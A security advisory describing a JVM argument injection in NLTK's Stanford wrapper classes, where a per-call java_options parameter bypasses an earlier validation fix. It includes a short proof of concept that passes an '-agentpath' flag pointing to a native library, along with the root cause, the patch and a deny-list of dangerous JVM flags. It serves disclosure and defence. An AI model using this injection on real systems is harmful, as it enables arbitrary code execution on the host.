CVE-2026-79675: NLTK JVM Argument Injection via Per-Call Options (Stanford Wrappers)
NLTK's Stanford NLP wrapper classes let attackers inject dangerous JVM flags directly into subprocess calls, bypassing the existing safety check and enabling arbitrary code execution on the host.

The problem
The java() function in nltk/internals.py accepts an options keyword argument added by PR #3683. When options is provided, it is converted to a list and prepended to the JVM command with no validation. The existing _validate_java_options() guard is only called inside config_java(), the global configuration path.
All four Stanford wrapper classes (GenericStanfordParser, StanfordTagger, StanfordTokenizer, StanfordSegmenter) accept a java_options constructor parameter and route it through this unvalidated per-call path, completely bypassing the CVE-2026-12841 fix.
Proof of concept
A working proof-of-concept for CVE-2026-79675 in nltk, with the exact payload below.
from nltk.parse.stanford import StanfordParser
# Attacker controls java_options, e.g. via config file, env var, or API input.
# The flag reaches subprocess.Popen with no validation.
parser = StanfordParser(
model_path="edu/stanford/nlp/models/lexparser/englishPCFG.ser.gz",
java_options="-agentpath:/tmp/evil.so"
)
# Any subsequent call (parse, tag, tokenize, segment) spawns:
# java -agentpath:/tmp/evil.so -cp ... edu.stanford.nlp.parser.lexparser.LexicalizedParser ...
# The native agent loads immediately on JVM startup, giving arbitrary code execution.
# Demonstrate the gap directly (no Java install needed):
from nltk.internals import _validate_java_options
import inspect, nltk.internals as _ni
_validate_java_options(["-agentpath:/tmp/evil.so"]) # raises ValueError -- guard EXISTS
source = inspect.getsource(_ni.java)
assert "_validate_java_options" not in source # guard is NOT called inside java()
print("Confirmed: java() never calls _validate_java_options() -- bypass is real")The root cause is a missing call to _validate_java_options() inside java() when the options kwarg is provided. The function builds java_options = list(options) and immediately prepends it to the subprocess command without any checks. The CVE-2026-12841 fix added the validator only to config_java(), not to java() itself, leaving the per-call path open.
The patch (commit 8fa9650b6009aacfdebbc33d2a08d32c0858ea6c) adds a single _validate_java_options(java_options) call in the options is not None branch of java(), closing the bypass for all four Stanford wrapper classes simultaneously. CWE-88 (Argument Injection) applies: user-controlled strings reach an OS-level command as separate arguments rather than being treated as data.
The fix
Upgrade to NLTK 3.10.3 (pip install --upgrade nltk). The patch commit 8fa9650b adds _validate_java_options() to the per-call branch of java() in nltk/internals.py. If immediate upgrade is not possible, audit all call sites that pass java_options to any Stanford wrapper class and treat that parameter as untrusted, rejecting strings containing -agentpath, -agentlib, -javaagent, -Xrunjdwp, or @.
Related research
- high · 7.8CVE-2026-78680CVE-2026-78680: NLTK Uncontrolled Search Path via Graphviz dot Binary
- high · 7.5CVE-2026-12243CVE-2026-12243: nltk Arbitrary File Read via Percent-Encoded Path Traversal
- high · 7.5CVE-2026-12072CVE-2026-12072: NLTK NKJPCorpusReader Path Traversal Arbitrary File Read
- high · 7.5CVE-2026-12061CVE-2026-12061: NLTK ReviewsCorpusReader Quadratic ReDoS